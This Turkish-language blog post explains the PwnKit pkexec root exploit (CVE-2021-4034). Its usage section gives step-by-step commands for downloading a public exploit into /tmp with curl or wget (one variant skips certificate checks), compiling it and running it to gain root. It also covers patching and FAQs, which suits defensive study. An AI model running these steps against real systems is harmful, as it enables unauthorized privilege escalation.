PwnKit Nedir?

12-Year-Old Polkit Flaw Lets Unprivileged Linux Users Gain Root Access

Qualys Araştırma Ekibi, her büyük Linux dağıtımına varsayılan olarak yüklenen bir SUID kök programı olan polkit'in pkexec'inde bir bellek bozulması güvenlik açığı keşfetti. Kolayca yararlanılabilen bu güvenlik açığı, ayrıcalığı olmayan herhangi bir kullanıcının, bu güvenlik açığından varsayılan yapılandırmasında yararlanarak güvenlik açığı bulunan bir ana bilgisayarda tam kök ayrıcalıkları elde etmesine olanak tanır.

Polkit (eski adıyla PolicyKit), Unix benzeri işletim sistemlerinde sistem çapında ayrıcalıkları kontrol etmeye yönelik bir bileşendir. Ayrıcalıklı olmayan süreçlerin ayrıcalıklı süreçlerle iletişim kurması için organize bir yol sağlar. Ayrıca, pkexec komutunu ve ardından yürütülmesi amaçlanan komutu (kök izniyle) kullanarak yükseltilmiş ayrıcalıklara sahip komutları yürütmek için polkit kullanmak da mümkündür.

(CVE-2021-4034)

Ön Gereksinimler

  • unzip
  • gcc

https://www.exploit-db.com/exploits/50689

Etkilenen sürümler

  • 2009'dan itibaren tüm Polkit sürümleri savunmasızdır. (Patch Geçilen ve İzinleri düzeltilenler hariç.)

PwnKit Kullanımı

Aşağıdaki linkten dosyanın bağlantı linkini kopyalayalım.

https://github.com/ryaagard/CVE-2021-4034

Sunucuda /tmp dizinine gidelim. 

cd /tmp

git clone, wget veya curl aracı kullanarak indirme işlemini gerçekleştirelim.

git https:/link
curl -LJO https:/link
wget --no-check-certificate --content-disposition https:/link 

İndirdiğimiz zip dosyalarını çıkartalım.

unzip CVE-2021-4034-main.zip

İndirdiğimiz dizinin içine ve GNU Derleyici Koleksiyonunu kullanarak derleyelim.

gcc exploit.c -o exploit

Artık exploit çalıştırabiliriz.

./exploit 

Eğer aşağıdaki gibi bir çıktı alıyorsanız, açık kapatılmıştır.

GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” pkexec must be setuid root

PwnKit Açığının Kapatılması

Güvenlik açığını kapatmak için, izinleri değiştirmeniz yeterlidir.

chmod 0755 /usr/bin/pkexec

Sık Sorulan Sorunlar

Hangi sürümler savunmasızdır?

2009'dan itibaren tüm Polkit sürümleri savunmasızdır.

Bu güvenlik açığı için herhangi bir azaltma var mı?

İşletim sisteminiz için herhangi bir yama yoksa, geçici bir etki olarak SUID bitini pkexec'ten kaldırabilirsiniz; örneğin:

sudo chmod 0755 /usr/bin/pkexec 

Açık için yayınlanan yama için bakınız:

https://security-tracker.debian.org/tracker/source-package/policykit-1

Bu güvenlik açığı uzaktan kullanılabilir mi?

Hayır. Ancak bir saldırgan herhangi bir ayrıcalıksız kullanıcı olarak oturum açabilirse, kök ayrıcalıkları elde etmek için güvenlik açığından hızla yararlanılabilir.

Blog'a Dön